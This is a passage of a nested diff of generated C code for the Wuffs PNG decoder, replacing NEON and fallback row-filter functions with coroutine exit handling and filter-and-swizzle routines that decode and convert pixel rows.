+- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fafb = vaddl_u8(v_fa, v_fb); +- v_fcfc = vaddl_u8(v_fc, v_fc); +- v_pa = vabdl_u8(v_fb, v_fc); +- v_pb = vabdl_u8(v_fa, v_fc); +- v_pc = vabdq_u16(v_fafb, v_fcfc); +- v_cmpab = vcleq_u16(v_pa, v_pb); +- v_cmpac = vcleq_u16(v_pa, v_pc); +- v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); +- v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); +- v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); +- wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fc = v_fb; +- v_fa = v_fx; +- v_curr.ptr += 3; +- v_prev.ptr += 3; +- } +- v_curr.len = 3; +- v_prev.len = 3; +- uint8_t* i_end2_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3); +- while (v_curr.ptr < i_end2_curr) { +- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u24le__no_bounds_check(v_prev.ptr))); +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u24le__no_bounds_check(v_curr.ptr))); +- v_fafb = vaddl_u8(v_fa, v_fb); +- v_fcfc = vaddl_u8(v_fc, v_fc); +- v_pa = vabdl_u8(v_fb, v_fc); +- v_pb = vabdl_u8(v_fa, v_fc); +- v_pc = vabdq_u16(v_fafb, v_fcfc); +- v_cmpab = vcleq_u16(v_pa, v_pb); +- v_cmpac = vcleq_u16(v_pa, v_pc); +- v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); +- v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); +- v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); +- wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_curr.ptr += 3; +- v_prev.ptr += 3; +- } +- v_curr.len = 0; +- v_prev.len = 0; ++ ok: ++ self->private_impl.p_do_tell_me_more = 0; ++ goto exit; + } +- return wuffs_base__make_empty_struct(); +-} +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-// ‼ WUFFS MULTI-FILE SECTION -arm_neon + +-// ‼ WUFFS MULTI-FILE SECTION +arm_neon +-// -------- func png.decoder.filter_4_distance_4_arm_neon +- +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4_distance_4_arm_neon( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- wuffs_base__slice_u8 v_curr = {0}; +- wuffs_base__slice_u8 v_prev = {0}; +- uint8x8_t v_fa = {0}; +- uint8x8_t v_fb = {0}; +- uint8x8_t v_fc = {0}; +- uint8x8_t v_fx = {0}; +- uint16x8_t v_fafb = {0}; +- uint16x8_t v_fcfc = {0}; +- uint16x8_t v_pa = {0}; +- uint16x8_t v_pb = {0}; +- uint16x8_t v_pc = {0}; +- uint16x8_t v_cmpab = {0}; +- uint16x8_t v_cmpac = {0}; +- uint8x8_t v_picka = {0}; +- uint8x8_t v_pickb = {0}; ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_tell_me_more = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_tell_me_more.v_zlib_status = v_zlib_status; + +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- wuffs_base__slice_u8 i_slice_prev = a_prev; +- v_prev.ptr = i_slice_prev.ptr; +- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8); +- while (v_curr.ptr < i_end0_curr) { +- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fafb = vaddl_u8(v_fa, v_fb); +- v_fcfc = vaddl_u8(v_fc, v_fc); +- v_pa = vabdl_u8(v_fb, v_fc); +- v_pb = vabdl_u8(v_fa, v_fc); +- v_pc = vabdq_u16(v_fafb, v_fcfc); +- v_cmpab = vcleq_u16(v_pa, v_pb); +- v_cmpac = vcleq_u16(v_pa, v_pc); +- v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); +- v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); +- v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fc = v_fb; +- v_fa = v_fx; +- v_curr.ptr += 4; +- v_prev.ptr += 4; +- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fafb = vaddl_u8(v_fa, v_fb); +- v_fcfc = vaddl_u8(v_fc, v_fc); +- v_pa = vabdl_u8(v_fb, v_fc); +- v_pb = vabdl_u8(v_fa, v_fc); +- v_pc = vabdq_u16(v_fafb, v_fcfc); +- v_cmpab = vcleq_u16(v_pa, v_pb); +- v_cmpac = vcleq_u16(v_pa, v_pc); +- v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); +- v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); +- v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fc = v_fb; +- v_fa = v_fx; +- v_curr.ptr += 4; +- v_prev.ptr += 4; +- } +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); +- while (v_curr.ptr < i_end1_curr) { +- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fafb = vaddl_u8(v_fa, v_fb); +- v_fcfc = vaddl_u8(v_fc, v_fc); +- v_pa = vabdl_u8(v_fb, v_fc); +- v_pb = vabdl_u8(v_fa, v_fc); +- v_pc = vabdq_u16(v_fafb, v_fcfc); +- v_cmpab = vcleq_u16(v_pa, v_pb); +- v_cmpac = vcleq_u16(v_pa, v_pc); +- v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); +- v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); +- v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fc = v_fb; +- v_fa = v_fx; +- v_curr.ptr += 4; +- v_prev.ptr += 4; +- } +- v_curr.len = 0; +- v_prev.len = 0; ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); + } +- return wuffs_base__make_empty_struct(); +-} +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-// ‼ WUFFS MULTI-FILE SECTION -arm_neon +- +-// -------- func png.decoder.filter_1 +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_1( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr) { +- return (*self->private_impl.choosy_filter_1)(self, a_curr); +-} +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_1__choosy_default( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr) { +- uint64_t v_filter_distance = 0; +- uint8_t v_fa = 0; +- uint64_t v_i_start = 0; +- uint64_t v_i = 0; +- +- v_filter_distance = ((uint64_t)(self->private_impl.f_filter_distance)); +- v_i_start = 0u; +- while (v_i_start < v_filter_distance) { +- v_fa = 0u; +- v_i = v_i_start; +- while (v_i < ((uint64_t)(a_curr.len))) { +- a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + v_fa)); +- v_fa = a_curr.ptr[v_i]; +- v_i += v_filter_distance; +- } +- v_i_start += 1u; ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func png.decoder.filter_1_distance_3_fallback +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_1_distance_3_fallback( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr) { +- wuffs_base__slice_u8 v_curr = {0}; +- uint8_t v_fa0 = 0; +- uint8_t v_fa1 = 0; +- uint8_t v_fa2 = 0; + +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- v_curr.len = 3; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 6) * 6); +- while (v_curr.ptr < i_end0_curr) { +- v_fa0 = ((uint8_t)(v_fa0 + v_curr.ptr[0u])); +- v_curr.ptr[0u] = v_fa0; +- v_fa1 = ((uint8_t)(v_fa1 + v_curr.ptr[1u])); +- v_curr.ptr[1u] = v_fa1; +- v_fa2 = ((uint8_t)(v_fa2 + v_curr.ptr[2u])); +- v_curr.ptr[2u] = v_fa2; +- v_curr.ptr += 3; +- v_fa0 = ((uint8_t)(v_fa0 + v_curr.ptr[0u])); +- v_curr.ptr[0u] = v_fa0; +- v_fa1 = ((uint8_t)(v_fa1 + v_curr.ptr[1u])); +- v_curr.ptr[1u] = v_fa1; +- v_fa2 = ((uint8_t)(v_fa2 + v_curr.ptr[2u])); +- v_curr.ptr[2u] = v_fa2; +- v_curr.ptr += 3; +- } +- v_curr.len = 3; +- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3); +- while (v_curr.ptr < i_end1_curr) { +- v_fa0 = ((uint8_t)(v_fa0 + v_curr.ptr[0u])); +- v_curr.ptr[0u] = v_fa0; +- v_fa1 = ((uint8_t)(v_fa1 + v_curr.ptr[1u])); +- v_curr.ptr[1u] = v_fa1; +- v_fa2 = ((uint8_t)(v_fa2 + v_curr.ptr[2u])); +- v_curr.ptr[2u] = v_fa2; +- v_curr.ptr += 3; +- } +- v_curr.len = 0; +- } +- return wuffs_base__make_empty_struct(); ++ return status; + } + +-// -------- func png.decoder.filter_1_distance_4_fallback ++// -------- func png.decoder.workbuf_len + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_1_distance_4_fallback( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr) { +- wuffs_base__slice_u8 v_curr = {0}; +- uint8_t v_fa0 = 0; +- uint8_t v_fa1 = 0; +- uint8_t v_fa2 = 0; +- uint8_t v_fa3 = 0; +- +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- v_curr.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); +- while (v_curr.ptr < i_end0_curr) { +- v_fa0 = ((uint8_t)(v_fa0 + v_curr.ptr[0u])); +- v_curr.ptr[0u] = v_fa0; +- v_fa1 = ((uint8_t)(v_fa1 + v_curr.ptr[1u])); +- v_curr.ptr[1u] = v_fa1; +- v_fa2 = ((uint8_t)(v_fa2 + v_curr.ptr[2u])); +- v_curr.ptr[2u] = v_fa2; +- v_fa3 = ((uint8_t)(v_fa3 + v_curr.ptr[3u])); +- v_curr.ptr[3u] = v_fa3; +- v_curr.ptr += 4; +- } +- v_curr.len = 0; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_png__decoder__workbuf_len( ++ const wuffs_png__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); + } +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func png.decoder.filter_2 +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_2( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- uint64_t v_n = 0; +- uint64_t v_i = 0; +- +- v_n = wuffs_base__u64__min(((uint64_t)(a_curr.len)), ((uint64_t)(a_prev.len))); +- v_i = 0u; +- while (v_i < v_n) { +- a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + a_prev.ptr[v_i])); +- v_i += 1u; ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); + } +- return wuffs_base__make_empty_struct(); ++ ++ return wuffs_base__utility__make_range_ii_u64(self->private_impl.f_overall_workbuf_length, self->private_impl.f_overall_workbuf_length); + } + +-// -------- func png.decoder.filter_3 ++// -------- func png.decoder.filter_and_swizzle + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_3( ++static wuffs_base__status ++wuffs_png__decoder__filter_and_swizzle( + wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- return (*self->private_impl.choosy_filter_3)(self, a_curr, a_prev); ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf) { ++ return (*self->private_impl.choosy_filter_and_swizzle)(self, a_dst, a_workbuf); + } + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_3__choosy_default( ++static wuffs_base__status ++wuffs_png__decoder__filter_and_swizzle__choosy_default( + wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- uint64_t v_filter_distance = 0; +- uint64_t v_n = 0; +- uint64_t v_i = 0; ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint64_t v_dst_bytes_per_pixel = 0; ++ uint64_t v_dst_bytes_per_row0 = 0; ++ uint64_t v_dst_bytes_per_row1 = 0; ++ wuffs_base__slice_u8 v_dst_palette = {0}; ++ wuffs_base__table_u8 v_tab = {0}; ++ uint32_t v_y = 0; ++ wuffs_base__slice_u8 v_dst = {0}; ++ uint8_t v_filter = 0; ++ wuffs_base__slice_u8 v_curr_row = {0}; ++ wuffs_base__slice_u8 v_prev_row = {0}; + +- v_filter_distance = ((uint64_t)(self->private_impl.f_filter_distance)); +- if (((uint64_t)(a_prev.len)) == 0u) { +- v_i = v_filter_distance; +- while (v_i < ((uint64_t)(a_curr.len))) { +- a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + (a_curr.ptr[(v_i - v_filter_distance)] / 2u))); +- v_i += 1u; +- } ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ } ++ v_dst_bytes_per_pixel = ((uint64_t)((v_dst_bits_per_pixel / 8u))); ++ v_dst_bytes_per_row0 = (((uint64_t)(self->private_impl.f_frame_rect_x0)) * v_dst_bytes_per_pixel); ++ v_dst_bytes_per_row1 = (((uint64_t)(self->private_impl.f_frame_rect_x1)) * v_dst_bytes_per_pixel); ++ v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)); ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ if (v_dst_bytes_per_row1 < ((uint64_t)(v_tab.width))) { ++ v_tab = wuffs_base__table_u8__subtable_ij(v_tab, ++ 0u, ++ 0u, ++ v_dst_bytes_per_row1, ++ ((uint64_t)(v_tab.height))); ++ } ++ if (v_dst_bytes_per_row0 < ((uint64_t)(v_tab.width))) { ++ v_tab = wuffs_base__table_u8__subtable_ij(v_tab, ++ v_dst_bytes_per_row0, ++ 0u, ++ ((uint64_t)(v_tab.width)), ++ ((uint64_t)(v_tab.height))); + } else { +- v_n = wuffs_base__u64__min(((uint64_t)(a_curr.len)), ((uint64_t)(a_prev.len))); +- v_i = 0u; +- while ((v_i < v_n) && (v_i < v_filter_distance)) { +- a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + (a_prev.ptr[v_i] / 2u))); +- v_i += 1u; ++ v_tab = wuffs_base__table_u8__subtable_ij(v_tab, ++ 0u, ++ 0u, ++ 0u, ++ 0u); ++ } ++ v_y = self->private_impl.f_frame_rect_y0; ++ while (v_y < self->private_impl.f_frame_rect_y1) { ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, v_y); ++ if (1u > ((uint64_t)(a_workbuf.len))) { ++ return wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_workbuf_length); + } +- v_i = v_filter_distance; +- while (v_i < v_n) { +- a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + ((uint8_t)(((((uint32_t)(a_curr.ptr[(v_i - v_filter_distance)])) + ((uint32_t)(a_prev.ptr[v_i]))) / 2u))))); +- v_i += 1u; ++ v_filter = a_workbuf.ptr[0u]; ++ a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, 1u); ++ if (self->private_impl.f_pass_bytes_per_row > ((uint64_t)(a_workbuf.len))) { ++ return wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_workbuf_length); ++ } ++ v_curr_row = wuffs_base__slice_u8__subslice_j(a_workbuf, self->private_impl.f_pass_bytes_per_row); ++ a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, self->private_impl.f_pass_bytes_per_row); ++ if (v_filter == 0u) { ++ } else if (v_filter == 1u) { ++ wuffs_png__decoder__filter_1(self, v_curr_row); ++ } else if (v_filter == 2u) { ++ wuffs_png__decoder__filter_2(self, v_curr_row, v_prev_row); ++ } else if (v_filter == 3u) { ++ wuffs_png__decoder__filter_3(self, v_curr_row, v_prev_row); ++ } else if (v_filter == 4u) { ++ wuffs_png__decoder__filter_4(self, v_curr_row, v_prev_row); ++ } else { ++ return wuffs_base__make_status(wuffs_png__error__bad_filter); + } ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, v_curr_row); ++ v_prev_row = v_curr_row; ++ v_y += 1u; + } +- return wuffs_base__make_empty_struct(); ++ return wuffs_base__make_status(NULL); + } + +-// -------- func png.decoder.filter_3_distance_3_fallback ++// -------- func png.decoder.filter_and_swizzle_tricky + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_3_distance_3_fallback( ++static wuffs_base__status ++wuffs_png__decoder__filter_and_swizzle_tricky( + wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- wuffs_base__slice_u8 v_curr = {0}; +- wuffs_base__slice_u8 v_prev = {0}; +- uint8_t v_fa0 = 0; +- uint8_t v_fa1 = 0; +- uint8_t v_fa2 = 0; ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint64_t v_dst_bytes_per_pixel = 0; ++ uint64_t v_dst_bytes_per_row1 = 0; ++ wuffs_base__slice_u8 v_dst_palette = {0}; ++ wuffs_base__table_u8 v_tab = {0}; ++ uint64_t v_src_bytes_per_pixel = 0; ++ uint32_t v_x = 0; ++ uint32_t v_y = 0; ++ uint64_t v_i = 0; ++ wuffs_base__slice_u8 v_dst = {0}; ++ uint8_t v_filter = 0; ++ wuffs_base__slice_u8 v_s = {0}; ++ wuffs_base__slice_u8 v_curr_row = {0}; ++ wuffs_base__slice_u8 v_prev_row = {0}; ++ uint8_t v_bits_unpacked[8] = {0}; ++ uint8_t v_bits_packed = 0; ++ uint8_t v_packs_remaining = 0; ++ uint8_t v_multiplier = 0; ++ uint8_t v_shift = 0; + +- if (((uint64_t)(a_prev.len)) == 0u) { +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- v_curr.len = 3; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 6) * 6); +- while (v_curr.ptr < i_end0_curr) { +- v_fa0 = ((uint8_t)((v_fa0 / 2u) + v_curr.ptr[0u])); +- v_curr.ptr[0u] = v_fa0; +- v_fa1 = ((uint8_t)((v_fa1 / 2u) + v_curr.ptr[1u])); +- v_curr.ptr[1u] = v_fa1; +- v_fa2 = ((uint8_t)((v_fa2 / 2u) + v_curr.ptr[2u])); +- v_curr.ptr[2u] = v_fa2; +- v_curr.ptr += 3; +- v_fa0 = ((uint8_t)((v_fa0 / 2u) + v_curr.ptr[0u])); +- v_curr.ptr[0u] = v_fa0; +- v_fa1 = ((uint8_t)((v_fa1 / 2u) + v_curr.ptr[1u])); +- v_curr.ptr[1u] = v_fa1; +- v_fa2 = ((uint8_t)((v_fa2 / 2u) + v_curr.ptr[2u])); +- v_curr.ptr[2u] = v_fa2; +- v_curr.ptr += 3; ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ } ++ v_dst_bytes_per_pixel = ((uint64_t)((v_dst_bits_per_pixel / 8u))); ++ v_dst_bytes_per_row1 = (((uint64_t)(self->private_impl.f_frame_rect_x1)) * v_dst_bytes_per_pixel); ++ v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)); ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ v_src_bytes_per_pixel = 1u; ++ if (self->private_impl.f_depth >= 8u) { ++ v_src_bytes_per_pixel = (((uint64_t)(WUFFS_PNG__NUM_CHANNELS[self->private_impl.f_color_type])) * ((uint64_t)(((uint8_t)(self->private_impl.f_depth >> 3u))))); ++ } ++ if (self->private_impl.f_chunk_type_array[0u] == 73u) { ++ v_y = ((uint32_t)(WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][5u])); ++ } else { ++ v_y = self->private_impl.f_frame_rect_y0; ++ } ++ while (v_y < self->private_impl.f_frame_rect_y1) { ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, v_y); ++ if (v_dst_bytes_per_row1 < ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row1); ++ } ++ if (1u > ((uint64_t)(a_workbuf.len))) { ++ return wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_workbuf_length); ++ } ++ v_filter = a_workbuf.ptr[0u]; ++ a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, 1u); ++ if (self->private_impl.f_pass_bytes_per_row > ((uint64_t)(a_workbuf.len))) { ++ return wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_workbuf_length); ++ } ++ v_curr_row = wuffs_base__slice_u8__subslice_j(a_workbuf, self->private_impl.f_pass_bytes_per_row); ++ a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, self->private_impl.f_pass_bytes_per_row); ++ if (v_filter == 0u) { ++ } else if (v_filter == 1u) { ++ wuffs_png__decoder__filter_1(self, v_curr_row); ++ } else if (v_filter == 2u) { ++ wuffs_png__decoder__filter_2(self, v_curr_row, v_prev_row); ++ } else if (v_filter == 3u) { ++ wuffs_png__decoder__filter_3(self, v_curr_row, v_prev_row); ++ } else if (v_filter == 4u) { ++ wuffs_png__decoder__filter_4(self, v_curr_row, v_prev_row); ++ } else { ++ return wuffs_base__make_status(wuffs_png__error__bad_filter); ++ } ++ v_s = v_curr_row; ++ if (self->private_impl.f_chunk_type_array[0u] == 73u) { ++ v_x = ((uint32_t)(WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][2u])); ++ } else { ++ v_x = self->private_impl.f_frame_rect_x0; ++ } ++ if (self->private_impl.f_depth == 8u) { ++ while (v_x < self->private_impl.f_frame_rect_x1) { ++ v_i = (((uint64_t)(v_x)) * v_dst_bytes_per_pixel); ++ if (v_i <= ((uint64_t)(v_dst.len))) { ++ if (((uint32_t)(self->private_impl.f_remap_transparency)) != 0u) { ++ if (self->private_impl.f_color_type == 0u) { ++ if (1u <= ((uint64_t)(v_s.len))) { ++ v_bits_unpacked[0u] = v_s.ptr[0u]; ++ v_bits_unpacked[1u] = v_s.ptr[0u]; ++ v_bits_unpacked[2u] = v_s.ptr[0u]; ++ v_bits_unpacked[3u] = 255u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 1u); ++ if (((uint32_t)(self->private_impl.f_remap_transparency)) == ((((uint32_t)(v_bits_unpacked[0u])) << 0u) | ++ (((uint32_t)(v_bits_unpacked[1u])) << 8u) | ++ (((uint32_t)(v_bits_unpacked[2u])) << 16u) | ++ (((uint32_t)(v_bits_unpacked[3u])) << 24u))) { ++ v_bits_unpacked[0u] = 0u; ++ v_bits_unpacked[1u] = 0u; ++ v_bits_unpacked[2u] = 0u; ++ v_bits_unpacked[3u] = 0u; ++ } ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 4)); ++ } ++ } else { ++ if (3u <= ((uint64_t)(v_s.len))) { ++ v_bits_unpacked[0u] = v_s.ptr[2u]; ++ v_bits_unpacked[1u] = v_s.ptr[1u]; ++ v_bits_unpacked[2u] = v_s.ptr[0u]; ++ v_bits_unpacked[3u] = 255u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 3u); ++ if (((uint32_t)(self->private_impl.f_remap_transparency)) == ((((uint32_t)(v_bits_unpacked[0u])) << 0u) | ++ (((uint32_t)(v_bits_unpacked[1u])) << 8u) | ++ (((uint32_t)(v_bits_unpacked[2u])) << 16u) | ++ (((uint32_t)(v_bits_unpacked[3u])) << 24u))) { ++ v_bits_unpacked[0u] = 0u; ++ v_bits_unpacked[1u] = 0u; ++ v_bits_unpacked[2u] = 0u; ++ v_bits_unpacked[3u] = 0u; ++ } ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 4)); ++ } ++ } ++ } else if (v_src_bytes_per_pixel <= ((uint64_t)(v_s.len))) { ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__slice_u8__subslice_j(v_s, v_src_bytes_per_pixel)); ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, v_src_bytes_per_pixel); ++ } ++ } ++ v_x += (((uint32_t)(1u)) << WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][0u]); + } +- v_curr.len = 3; +- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3); +- while (v_curr.ptr < i_end1_curr) { +- v_fa0 = ((uint8_t)((v_fa0 / 2u) + v_curr.ptr[0u])); +- v_curr.ptr[0u] = v_fa0; +- v_fa1 = ((uint8_t)((v_fa1 / 2u) + v_curr.ptr[1u])); +- v_curr.ptr[1u] = v_fa1; +- v_fa2 = ((uint8_t)((v_fa2 / 2u) + v_curr.ptr[2u])); +- v_curr.ptr[2u] = v_fa2; +- v_curr.ptr += 3; ++ } else if (self->private_impl.f_depth < 8u) { ++ v_multiplier = 1u; ++ if (self->private_impl.f_color_type == 0u) { ++ v_multiplier = WUFFS_PNG__LOW_BIT_DEPTH_MULTIPLIERS[self->private_impl.f_depth]; + } +- v_curr.len = 0; +- } +- } else { +- { +- 